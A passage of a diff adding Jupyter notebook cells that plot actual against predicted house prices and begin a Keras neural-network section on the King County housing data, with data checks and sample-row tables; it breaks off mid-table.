j4jqrBt5pXj1h1NISs3WbOsdHYJ3x3RBeICnA1tGRES1xREuIlOuXAFefhlo1ky1Dks72GrRAnjkEVUxYyKiGsgvkVcLtgDgQGo2XvvhFEe6iIjqOI5wERly9iwwbx7w00/V12n17ataqzV8uGpEi4iohrKL5NWCLbUDqdnILpLD30tm51YREZG1MOAiMqSiAtiypep3d3dgwgRg1iwgJsZx7SKieqWgrMLo/kIT+4mIyLkx4CICgJs3gWvXgPvvr9rWtSvQuzeQmgq8+CLw3HNAo0YOayIR1U9+Hm5G9/ua2E9ERM6NARc1bH/9pUp68d13QFSUahqhdkHir78GQkMBGafzEJFthPjI0Ds6BAf0TCvsHR2CEB9+/xAR1WVMmkENT0WFKsDq2RPo3l0VVFVUAOfPA7t2iY9t1ozBFhHZlL+XDO+O6YLe0SGi7b2jQ7B0TBeu3yIiquM4wkUNR04O8NlnwJo1qumD2oKDgWefBTp1ckzbiKhBCw/wxKrxscgukqOwrAK+Hm4I8ZEx2CIiqgcYcFH9JwiqjIKffw6Ulor3deqk2jdhAuDJWjdE5Dj+XgywiIjqIwZcVP9JJEBeXlWwJZEAw4YBL70E9OsnXrNFRERERGRFXMNF9UthoWrKYEmJePvs2YCvr+q/Fy8CW7cC/fsz2CIiIiIim+IIF9UPly4Bq1YB69apgi6ZDJg2rWp/t26q1O/e3o5rIxERERE1OBzhorpLEIDffwdGjgSio1Xp3QsLVftWrlTt18Zgi4iIiIjsjCNcVPeUlqpSua9cCZw+Ld7n4QE8/TQwaxanCxIRERGRwzHgorpl927giSdUKd61NWsGTJ+umkYYHOyYthERERER6WDARXVLhw5Afn7V7w8+qMo2OHo04ObmsGYREREREenDgIuck1wO/O9/qmyDzzxTtT08XDVlUC5XZRy8/37HtZGIiIiIyAQGXORc7twBPv1Uldr95k0gJAR46inV2iy1tWu5PouIiIiI6gSHZik8cOAAhg8fjvDwcEgkEvz444+i/Zs3b8bDDz+M4OBgSCQSnDhxwuRzbtiwARKJRPTjoX2xTs7p1Clg6lSgeXPgjTdUwRYAZGcD27aJj2WwRURERER1hEMDruLiYsTExGDNmjUG9yckJGDp0qUWPa+fnx9u3ryp+cnIyLBGc8naFArgxx+Bfv2AmBhVDa3yctU+FxfVuqz9+4HHHnNoM4mIiIiIasqhUwoHDx6MwYMHG9z/9NNPAwCuXLli0fNKJBI0adKkNk0jWxMEoGdP4MgR8XZ/f9WarRkzgBYtHNI0IiIiIiJrqZeFj4uKihAZGYnmzZtj5MiROHv2rNHjy8vLUVBQIPohG5NIgIEDq35v0wZYvRq4dg147z0GW0RERERUL9S7gKtt27ZYt24dfvrpJ3z11VdQKpXo2bMnrl27ZvAxS5Ysgb+/v+anefPmdmxxPScIwG+/ASNGVK3LUnvxRWDwYGDnTuD8eVUdLR8fx7STiIiIiMgG6l3A9eCDD2LixIno2rUr+vTpg82bN6NRo0b45JNPDD5m7ty5yM/P1/xcvXrVji2up0pKgE8+ATp2BB55RJX44uOPxcc0baoKtgYPVq3ZIiIiIiKqZ+p9Wng3NzfExsYiLS3N4DHu7u5wd3e3Y6vqscxMVUr3zz4DcnPF+37+GViwgFkGiYiIiKjBqPfDCgqFAqdPn0ZYWJijm1J/CQKQnAyMHQu0agX8+9/iYCshAfj+e+CPPxhsEREREVGD4tARrqKiItHIU3p6Ok6cOIGgoCBERETg7t27yMzMxI0bNwAAFy5cAAA0adJEk4Vw4sSJaNq0KZYsWQIAWLhwIR544AFERUUhLy8Py5YtQ0ZGBp555hk7n10D8v33wOOPi7fJZMATTwCzZgHdujmmXUREREREDubQgOvo0aPo16+f5vc5c+YAABITE7FhwwZs3boVkydP1ux/4oknAADz58/HggULAACZmZlw0Vr/k5ubi2nTpuHWrVsIDAxEt27d8Mcff6BDhw52OKMGQhDEI1XDhgFBQcDdu0BoKPDCC8DzzwNMzU9EREREDZxEEATB0Y1wNgUFBfD390d+fj78/Pwc3Rzncfw4sGIF4OGhSoih7eOPAS8v1UgX18MRERERUT1R29iAAZceDLi0VFYCP/2kCrSSklTbZDJVcozGjR3bNiIiIiIiG6ttbFDvsxRSDeXmAp9/ripGnJkp3uflBZw+zYCLiIiIiMgEBlwk9vffwMqVwBdfqGppaWvfXpUE4+mnAW9vx7SPiIiIiKgOYcBFVQQBGDMGOHdOvH3wYOCll4CHHmJadyIiIiIiC9T7OlxkRFmZ+HeJBJgxQ/Vvb29g+nTViNfOncDDDzPYIiIiIiKyEEe4GqIrV1Rrs9auBfbvB7p0qdo3cSJQXg5MmgQEBDiogURERERE9QNHuBoKQQAOHFBNGWzdGnj/fSAvT5V9UJu3t2r6IIMtIiIiIqJa4whXfVdWBnz7rSqwOnFCvM/dXVVTS7eQMRERERERWQUDrvrq9m3gww9VBYmzssT7wsKAF18EnnsOaNTIMe0jIiIiImoAGHDVV8eOAQsXirfdf79quuBjj6mKFxMRERERkU1xDVd9UFkJ3Lwp3jZoENCmDSCVAo8/DvzxB3D4MPDkkwy2iIiIiIjshCNcdVlODvDZZ8CaNUDbtsDu3VX7XFyADRuAZs2A5s0d1kQiIiIiooaMAVdddPYssHIl8N//AqWlqm3XrgFnzgCdOlUd9+CDjmkfEREREREBYMBVdyiVqgLEK1aIR7IAVYbBYcMc0y4iIiIiIjKIAZezEwTVlMGVK4HUVPE+X19gyhRgxgwgKsox7SMiIiIiIoMYcDk7iQT48UdxsNW6NTBzJjB5MuDn57CmERERERGRccxSWBfMnq3674ABwNatwIULqm0MtoiIiIiInBpHuOqCoUNVCTE6dnR0S4iIiIiIyAIc4aoLXFwYbBERERER1UEMuIiIiIiIiGyEARcREREREZGNMOAiIiIiIiKyEQZcRERERERENsKAi4iIiIiIyEYYcBEREREREdkIAy4iIiIiIiIbYcBFRERERERkIwy4iIiIiIiIbIQBFxERERERkY0w4CIiIiIiIrIRBlxEREREREQ2woCLiIiIiIjIRhhwERERERER2YiroxvgjARBAAAUFBQ4uCVERERERORI6phAHSNYigGXHoWFhQCA5s2bO7glRERERETkDAoLC+Hv72/x4yRCTUO1ekypVOLGjRvw9fWFRCJxdHPqpYKCAjRv3hxXr16Fn5+fo5tDToR9g4xh/yBD2DfIEPYNMsTcviEIAgoLCxEeHg4XF8tXZHGESw8XFxc0a9bM0c1oEPz8/PjlR3qxb5Ax7B9kCPsGGcK+QYaY0zdqMrKlxqQZRERERERENsKAi4iIiIiIyEYYcJFDuLu7Y/78+XB3d3d0U8jJsG+QMewfZAj7BhnCvkGG2KtvMGkGERERERGRjXCEi4iIiIiIyEYYcBEREREREdkIAy4iIiIiIiIbYcBFRERERERkIwy4qNYOHDiA4cOHIzw8HBKJBD/++KNo/+bNm/Hwww8jODgYEokEJ06cMPmcGzZsgEQiEf14eHjY5gTIZoz1jYqKCrz66qvo3LkzvL29ER4ejokTJ+LGjRsmn3fNmjVo0aIFPDw80KNHDxw5csSGZ0G2Yov+sWDBgmrfHe3atbPxmZC1mfr/yoIFC9CuXTt4e3sjMDAQAwcOxOHDh00+L7876j5b9A1+b9QfpvqHtueffx4SiQTLly83+by1/e5gwEW1VlxcjJiYGKxZs8bg/oSEBCxdutSi5/Xz88PNmzc1PxkZGdZoLtmRsb5RUlKC48ePY968eTh+/Dg2b96MCxcuYMSIEUafc9OmTZgzZw7mz5+P48ePIyYmBo888giysrJsdRpkI7boHwDQsWNH0XdHcnKyLZpPNmTq/ytt2rTB6tWrcfr0aSQnJ6NFixZ4+OGHcefOHYPPye+O+sEWfQPg90Z9Yap/qG3ZsgV//vknwsPDTT6nVb47BCIrAiBs2bJF77709HQBgJCSkmLyedavXy/4+/tbtW3kWMb6htqRI0cEAEJGRobBY7p37y5Mnz5d87tCoRDCw8OFJUuWWKup5ADW6h/z588XYmJirNs4cihz+kZ+fr4AQNi9e7fBY/jdUf9Yq2/we6N+MtQ/rl27JjRt2lQ4c+aMEBkZKXzwwQdGn8ca3x0c4SKnVVRUhMjISDRv3hwjR47E2bNnHd0ksrH8/HxIJBIEBATo3S+Xy3Hs2DEMHDhQs83FxQUDBw7EoUOH7NRKchRT/UMtNTUV4eHhaNWqFSZMmIDMzEz7NJAcQi6X49NPP4W/vz9iYmIMHsPvjobHnL6hxu+NhkGpVOLpp5/GK6+8go4dO5o83lrfHQy4yCm1bdsW69atw08//YSvvvoKSqUSPXv2xLVr1xzdNLKRsrIyvPrqqxg/fjz8/Pz0HpOdnQ2FQoHGjRuLtjdu3Bi3bt2yRzPJQczpHwDQo0cPbNiwAb/88gs++ugjpKeno1evXigsLLRja8ketm/fDh8fH3h4eOCDDz7Arl27EBISovdYfnc0LJb0DYDfGw3J0qVL4erqilmzZpl1vLW+O1wtaiWRnTz44IN48MEHNb/37NkT7du3xyeffIJFixY5sGVkCxUVFRg3bhwEQcBHH33k6OaQk7GkfwwePFjz7y5duqBHjx6IjIzEd999h6lTp9q6qWRH/fr1w4kTJ5CdnY3PPvsM48aNw+HDhxEaGuroppGDWdo3+L3RMBw7dgwrVqzA8ePHIZFI7PraHOGiOsHNzQ2xsbFIS0tzdFPIytQX0xkZGdi1a5fR0YuQkBBIpVLcvn1btP327dto0qSJrZtKDmBJ/9AnICAAbdq04XdHPeTt7Y2oqCg88MADWLt2LVxdXbF27Vq9x/K7o2GxpG/ow++N+ikpKQlZWVmIiIiAq6srXF1dkZGRgX/84x9o0aKF3sdY67uDARfVCQqFAqdPn0ZYWJijm0JWpL6YTk1Nxe7duxEcHGz0eJlMhm7dumHPnj2abUqlEnv27BGNiFL9YGn/0KeoqAiXLl3id0cDoFQqUV5erncfvzsaNmN9Qx9+b9RPTz/9NE6dOoUTJ05ofsLDw/HKK6/g119/1fsYa313cEoh1VpRUZHoLlB6ejpOnDiBoKAgRERE4O7du8jMzNTUz7lw4QIAoEmTJpq7AxMnTkTTpk2xZMkSAMDChQvxwAMPICoqCnl5eVi2bBkyMjLwzDPP2PnsqDaM9Y2wsDA89thjOH78OLZv3w6FQqGZDx0UFASZTAYAGDBgAEaPHo0ZM2YAAObMmYPExETExcWhe/fuWL58OYqLizF58mT7nyDVii36x8svv4zhw4cjMjISN27cwPz58yGVSjF+/Hj7nyDVmLG+ERwcjMWLF2PEiBEICwtDdnY21qxZg+vXr2Ps2LGax/C7o36yRd/g90b9YeqaVPfGnZubG5o0aYK2bdtqttnku8PsfIZEBuzdu1cAUO0nMTFREARVind9++fPn695jj59+miOFwRBeOmll4SIiAhBJpMJjRs3FoYMGSIcP37cvidGtWasb6jLBOj72bt3r+Y5IiMjRX1FEARh1apVmv7RvXt34c8//7TviZFV2KJ/PP7440JYWJggk8mEpk2bCo8//riQlpZm/5OjWjHWN0pLS4XRo0cL4eHhgkwmE8LCwoQRI0YIR44cET0HvzvqJ1v0DX5v1B+mrkl16UsLb4vvDokgCIL54RkRERERERGZi2u4iIiIiIiIbIQBFxERERERkY0w4CIiIiIiIrIRBlxEREREREQ2woCLiIiIiIjIRhhwERERERER2QgDLiIiIiIiIhthwEVERERERGQjDLiIiMgpSSQS/PjjjzZ9jb59++Kll16y6WuYY+3atXj44Ycd3QyLPfHEE3j//fcd3QwiIqfGgIuIqIE7dOgQpFIphg4davFjW7RogeXLl1u/USYMHz4cgwYN0rsvKSkJEokEp06dsnOraqasrAzz5s3D/PnzrfJ8GzZsQEBAgFWeS23fvn2QSCTIy8sTbX/jjTewePFi5OfnW/X1iIjqEwZcREQN3Nq1azFz5kwcOHAAN27ccHRzzDJ16lTs2rUL165dq7Zv/fr1iIuLQ5cuXRzQMsv973//g5+fH+Lj4x3dFIt16tQJrVu3xldffeXophAROS0GXEREDVhRURE2bdqEF154AUOHDsWGDRuqHbNt2zbcf//98PDwQEhICEaPHg1ANR0vIyMD//d//weJRAKJRAIAWLBgAbp27Sp6juXLl6NFixaa3//66y889NBDCAkJgb+/P/r06YPjx4+b3e5hw4ahUaNG1dpbVFSE77//HlOnTkVOTg7Gjx+Ppk2bwsvLC507d8bGjRuNPq++aYwBAQGi17l69SrGjRuHgIAABAUFYeTIkbhy5Ypm/759+9C9e3d4e3sjICAA8fHxyMjIMPia3377LYYPH675/cCBA3Bzc8OtW7dEx7300kvo1auX0fbv27cPkydPRn5+vuZvsmDBAgBAeXk5Xn75ZTRt2hTe3t7o0aMH9u3bp3lsRkYGhg8fjsDAQHh7e6Njx47YuXMnrly5gn79+gEAAgMDIZFIMGnSJM3jhg8fjm+//dZou4iIGjIGXEREDdh3332Hdu3aoW3btnjqqaewbt06CIKg2b9jxw6MHj0aQ4YMQUpKCvbs2YPu3bsDADZv3oxmzZph4cKFuHnzJm7evGn26xYWFiIxMRHJycn4888/ER0djSFDhqCwsNCsx7u6umLixInYsGGDqL3ff/89FAoFxo8fj7KyMnTr1g07duzAmTNn8Oyzz+Lpp5/GkSNHzG6nroqKCjzyyCPw9fVFUlISDh48CB8fHwwaNAhyuRyVlZUYNWoU+vTpg1OnTuHQoUN49tlnNcGoPsnJyYiLi9P83rt3b7Rq1Qr//e9/Ra/79ddfY8qUKUbb17NnTyxfvhx+fn6av8nLL78MAJgxYwYOHTqEb7/9FqdOncLYsWMxaNAgpKamAgCmT5+O8vJyHDhwAKdPn8bSpUvh4+OD5s2b44cffgAAXLhwATdv3sSKFSs0r9m9e3ccOXIE5eXllr+hREQNgKujG0BERI6zdu1aPPXUUwCAQYMGIT8/H/v370ffvn0BAIsXL8YTTzyBt956S/OYmJgYAEBQUBCkUil8fX3RpEkTi163f//+ot8//fRTBAQEYP/+/Rg2bJhZzzFlyhQsW7ZM1N7169djzJgx8Pf3h7+/vybYAICZM2fi119/xXfffacJGi21adMmKJVKfP7555ogav369QgICMC+ffsQFxeH/Px8DBs2DK1btwYAtG/f3uDz5eXlIT8/H+Hh4aLtU6dOxfr16/HKK68AUI0ylpWVYdy4cUbbJ5PJ4O/vD4lEIvqbZGZmYv369cjMzNS81ssvv4xffvkF69evxzvvvIPMzEyMGTMGnTt3BgC0atVK8/igoCAAQGhoaLX1YeHh4ZDL5bh16xYiIyONto+IqCHiCBcRUQN14cIFHDlyBOPHjwegGjV6/PHHsXbtWs0xJ06cwIABA6z+2rdv38a0adMQHR0Nf39/+Pn5oaioCJmZmWY/R7t27dCzZ0+sW7cOAJCWloakpCRMnToVAKBQKLBo0SJ07twZQUFB8PHxwa+//mrRa+g6efIk0tLS4OvrCx8fH/j4+CAoKAhlZWW4dOkSgoKCMGnSJDzyyCMYPnw4VqxYYXTkr7S0FADg4eEh2j5p0iSkpaXhzz//BKBKhDFu3Dh4e3vXqN2nT5+GQqFAmzZtNO328fHB/v37cenSJQDArFmz8PbbbyM+Ph7z5883O+mIp6cnAKCkpKRGbSMiqu84wkVE1ECtXbsWlZWVotEVQRDg7u6O1atXw9/fX3MxbQkXFxfRND9ANSVOW2JiInJycrBixQpERkbC3d0dDz74IORyuUWvNXXqVMycORNr1qzB+vXr0bp1a/Tp0wcAsGzZMqxYsQLLly9H586d4e3tjZdeesnoa0gkEqNtLyoqQrdu3fD1119Xe2yjRo0AqEa8Zs2ahV9++QWbNm3CG2+8gV27duGBBx6o9pjg4GBIJBLk5uaKtoeGhmL48OFYv349WrZsiZ9//lm03spSRUVFkEqlOHbsGKRSqWifj48PAOCZZ57BI488gh07duC3337DkiVL8P7772PmzJlGn/vu3bsAqs6fiIjEOMJFRNQAVVZW4ssvv8T777+PEydOaH5OnjyJ8PBwTXKJLl26YM+ePQafRyaTQaFQiLY1atQIt27dEgUuJ06cEB1z8OBBzJo1C0OGDEHHjh3h7u6O7Oxsi89j3LhxcHFxwTfffIMvv/wSU6ZM0Uz1O3jwIEaOHImnnnoKMTExaNWqFS5evGj0+Ro1aiQakUpNTRWN3Nx3331ITU1FaGgooqKiRD/+/v6a42JjYzF37lz88ccf6NSpE7755hu9ryeTydChQwecO3eu2r5nnnkGmzZtwqefforWrVubncVQ398kNjYWCoUCWVlZ1dqtPfWwefPmeP7557F582b84x//wGeffaZ5TgDVnhcAzpw5g2bNmiEkJMSs9hERNTQMuIiIGqDt27cjNzcXU6dORadOnUQ/Y8aM0UwrnD9/PjZu3Ij58+fj/PnzmmQKai1atMCBAwdw/fp1TcDUt29f3LlzB//+979x6dIlrFmzBj///LPo9aOjo/Hf//4X58+fx+HDhzFhwoQajab5+Pjg8ccfx9y5c3Hz5k1R9rzo6Gjs2rULf/zxB86fP4/nnnsOt2/fNvp8/fv3x+rVq5GSkoKjR4/i+eefh5ubm2b/hAkTEBISgpEjRyIpKQnp6enYt28fZs2ahWvXriE9PR1z587FoUOHkJGRgd9++w2pqalG13E98sgjSE5O1rvdz88Pb7/9NiZPnmz2e9KiRQsUFRVhz549yM7ORklJCdq0aYMJEyZg4sSJ2Lx5M9LT03HkyBEsWbIEO3bsAKDKgvjrr78iPT0dx48fx969ezXtjoyMhEQiwfbt23Hnzh0UFRVpXi8pKalOFm0mIrIbgYiIGpxhw4YJQ4YM0bvv8OHDAgDh5MmTgiAIwg8//CB07dpVkMlkQkhIiPDoo49qjj106JDQpUsXwd3dXdD+X8pHH30kNG/eXPD29hYmTpwoLF68WIiMjNTsP378uBAXFyd4eHgI0dHRwvfffy9ERkYKH3zwgeYYAMKWLVtMnssff/whAKh2Pjk5OcLIkSMFHx8fITQ0VHjjjTeEiRMnCiNHjtQc06dPH2H27Nma369fvy48/PDDgre3txAdHS3s3LlT8Pf3F9avX6855ubNm8LEiROFkJAQwd3dXWjVqpUwbdo0IT8/X7h165YwatQoISwsTJDJZEJkZKTw5ptvCgqFwmD7z549K3h6egp5eXnV9s2bN0+QSqXCjRs3TL4P2p5//nkhODhYACDMnz9fEARBkMvlwptvvim0aNFCcHNzE8LCwoTRo0cLp06dEgRBEGbMmCG0bt1acHd3Fxo1aiQ8/fTTQnZ2tuY5Fy5cKDRp0kSQSCRCYmKiIAiCUFpaKvj7+wuHDh2yqH1ERA2JRBB0JqsTERGRXY0dOxb33Xcf5s6dK9o+depU3LlzB1u3bnVQy4z76KOPsGXLFvz222+ObgoRkdPilEIiIiIHW7ZsmSZ5BQDk5+cjOTkZ33zzjcmkFY7k5uaGVatWOboZREROjSNcRERETqZv3744cuQInnvuOXzwwQeifYMHD0ZSUpLex73++ut4/fXX7dFEIiIyEwMuIiKiOuT69eua+l26goKCNEWKiYjIOTDgIiIiIiIishGu4SIiIiIiIrIRBlxEREREREQ2woCLiIiIiIjIRhhwERERERER2QgDLiIiIiIiIhthwEVERERERGQjDLiIiIiIiIhs5P8BOcMdyQb0Z7QAAAAASUVORK5CYII=\n"
+          },
+          "metadata": {}
+        }
+      ],
+      "source": [
+        "# Scatter plot of Actual vs Predicted values\n",
+        "plt.figure(figsize=(10,5))\n",
+        "sns.scatterplot(x=y_test, y=y_pred)\n",
+        "\n",
+        "# Add diagonal line (perfect predictions line)\n",
+        "plt.plot(\n",
+        "    [y_test.min(), y_test.max()],\n",
+        "    [y_test.min(), y_test.max()],\n",
+        "    color=\"red\", linestyle=\"--\", linewidth=2\n",
+        ")\n",
+        "\n",
+        "# Labels and title\n",
+        "plt.xlabel(\"Actual Values (y_test)\")\n",
+        "plt.ylabel(\"Predicted Values (y_pred)\")\n",
+        "plt.title(\"Actual vs Predicted Values\")\n",
+        "plt.show()\n"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# **ANN(deep learning)**\n"
+      ],
+      "metadata": {
+        "id": "-Wz5WeztoQKc"
+      },
+      "id": "-Wz5WeztoQKc"
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "df.isnull().sum()"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 679
+        },
+        "id": "1KN0jVvZLGF6",
+        "outputId": "77c20ed4-12e6-439b-f83e-8b0f250cdc93"
+      },
+      "id": "1KN0jVvZLGF6",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "price            0\n",
+              "bedrooms         0\n",
+              "bathrooms        0\n",
+              "sqft_living      0\n",
+              "sqft_lot         0\n",
+              "floors           0\n",
+              "waterfront       0\n",
+              "view             0\n",
+              "condition        0\n",
+              "grade            0\n",
+              "sqft_above       0\n",
+              "sqft_basement    0\n",
+              "yr_built         0\n",
+              "yr_renovated     0\n",
+              "zipcode          0\n",
+              "lat              0\n",
+              "long             0\n",
+              "sqft_living15    0\n",
+              "sqft_lot15       0\n",
+              "dtype: int64"
+            ],
+            "text/html": [
+              "<div>\n",
+              "<style scoped>\n",
+              "    .dataframe tbody tr th:only-of-type {\n",
+              "        vertical-align: middle;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe tbody tr th {\n",
+              "        vertical-align: top;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe thead th {\n",
+              "        text-align: right;\n",
+              "    }\n",
+              "</style>\n",
+              "<table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              "    <tr style=\"text-align: right;\">\n",
+              "      <th></th>\n",
+              "      <th>0</th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <th>price</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>bedrooms</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>bathrooms</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_living</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_lot</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>floors</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>waterfront</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>view</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>condition</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>grade</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_above</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_basement</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>yr_built</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>yr_renovated</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>zipcode</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>lat</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>long</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_living15</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_lot15</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table>\n",
+              "</div><br><label><b>dtype:</b> int64</label>"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 308
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "df.duplicated().sum()"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "87fRy3PjLOcu",
+        "outputId": "144e789c-6d28-4219-94da-9172f4a534ef"
+      },
+      "id": "87fRy3PjLOcu",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "np.int64(5)"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 309
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "import tensorflow as tf\n",
+        "from tensorflow import keras\n",
+        "from tensorflow.keras import Sequential\n",
+        "from tensorflow.keras.layers import Dense, Dropout"
+      ],
+      "metadata": {
+        "id": "cYzIekdaL5AZ"
+      },
+      "id": "cYzIekdaL5AZ",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "model= Sequential()"
+      ],
+      "metadata": {
+        "id": "agVMjWOnMM06"
+      },
+      "id": "agVMjWOnMM06",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "df.sample(9)"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 351
+        },
+        "id": "6o0wlwpkMZil",
+        "outputId": "60e6a940-1464-4f84-aa84-9e2e75c7e8f0"
+      },
+      "id": "6o0wlwpkMZil",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "          price  bedrooms  bathrooms  sqft_living  sqft_lot  floors  \\\n",
+              "3922   431500.0         2       2.00         1370      4866     1.0   \n",
+              "3667   397000.0         3       3.50         1360      1275     2.0   \n",
+              "6851   470101.0         4       2.50         2320      7800     2.0   \n",
+              "113    329950.0         3       1.75         2080      5969     1.0   \n",
+              "5618   435000.0         3       1.75         2030     13700     1.0   \n",
+              "5678   575000.0         3       1.75         1720      5956     2.0   \n",
+              "14663  630000.0         3       1.00         1590      4080     1.5   \n",
+              "12293  198000.0         3       1.75         1300      6318     1.0   \n",
+              "4090   462500.0         2       2.00         1540      7290     2.0   \n",
+              "\n",
+              "       waterfront  view  condition  grade  sqft_above  sqft_basement  \\\n",
+              "3922            0     0          3      8        1370              0   \n",
+              "3667            0     0          3      8        1240            120   \n",
+              "6851            0     0          3      8        2320              0   \n",
+              "113             0     2          3      7        1080           1000   \n",
+              "5618            0     0          3      8        1630            400   \n",
+              "5678            0     0          3      8        1720              0   \n",
+              "14663           0     0          3      7        1590              0   \n",
+              "12293           0     0          3      7        1300              0   \n",
+              "4090            0     0          3      7        1540              0   \n",
+              "\n",
+              "       yr_built  yr_renovated  zipcode      lat     long  sqft_living15  \\\n",
+              "3922       2005             0    98053  47.7040 -122.012           1365   \n",
+              "3667       2007             0    98144  47.5904 -122.315           1360   \n",
+              "6851       1986             0    98028  47.7738 -122.266           2090   \n",
+              "113        1971             0    98108  47.5474 -122.295           2090   \n",
+              "5618       1976             0    98011  47.7726 -122.197           2120   \n",
+              "5678       1981             0    98033  47.6875 -122.202           1620   \n",
+              "14663      1922             0    98105  47.6620 -122.326           1570   \n",
+              "12293      1980             0    98001  47.2752 -122.251           1150   \n",
+              "4090       1948          1983    98136  47.5510 -122.395           1540   \n",
+              "\n",
+              "       sqft_lot15  \n",
+              "3922         4784  \n",
+              "3667         1275  \n",
+              "6851         5721  \n",
+              "113          5500  \n",
+              "5618        11200  \n",
+              "5678         9324  \n",
+              "14663        4080  \n",
+              "12293        8002  \n",
+              "4090         7072  "
+            ],
+            "text/html": [
+              "\n",
+              "  <div id=\"df-bc953201-de09-4b6a-b1d9-8ca26a1b2079\" class=\"colab-df-container\">\n",
+              "    <div>\n",
+              "<style scoped>\n",
+              "    .dataframe tbody tr th:only-of-type {\n",
+              "        vertical-align: middle;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe tbody tr th {\n",
+              "        vertical-align: top;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe thead th {\n",
+              "        text-align: right;\n",
+              "    }\n",
+              "</style>\n",
+              "<table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              "    <tr style=\"text-align: right;\">\n",
+              "      <th></th>\n",
+              "      <th>price</th>\n",
+              "      <th>bedrooms</th>\n",
+              "      <th>bathrooms</th>\n",
+              "      <th>sqft_living</th>\n",
+              "      <th>sqft_lot</th>\n",
+              "      <th>floors</th>\n",
+              "      <th>waterfront</th>\n",
+              "      <th>view</th>\n",
+              "      <th>condition</th>\n",
+              "      <th>grade</th>\n",
+              "      <th>sqft_above</th>\n",
+              "      <th>sqft_basement</th>\n",
+              "      <th>yr_built</th>\n",
+              "      <th>yr_renovated</th>\n",
+              "      <th>zipcode</th>\n",
+              "      <th>lat</th>\n",
+              "      <th>long</th>\n",
+              "      <th>sqft_living15</th>\n",
+              "      <th>sqft_lot15</th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <th>3922</th>\n",
+              "      <td>431500.0</td>\n",
+              "      <td>2</td>\n",
+              "      <td>2.00</td>\n",
+              "      <td>1370</td>\n",
+              "      <td>4866</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>8</td>\n",
+              "      <td>1370</td>\n",
+              "      <td>0</td>\n",
+              "      <td>2005</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98053</td>\n",
+              "      <td>47.7040</td>\n",
+              "      <td>-122.012</td>\n",
+              "      <td>1365</td>\n",
+              "      <td>4784</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>3667</th>\n",
+              "      <td>397000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>3.50</td>\n",
+              "      <td>1360</td>\n",
+              "      <td>1275</td>\n",
+              "      <td>2.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>8</td>\n",
+              "      <td>1240</td>\n",
+              "      <td>120</td>\n",
+              "      <td>2007</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98144</td>\n",
+              "      <td>47.5904</td>\n",
+              "      <td>-122.315</td>\n",
+              "      <td>1360</td>\n",
+              "      <td>1275</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>6851</th>\n",
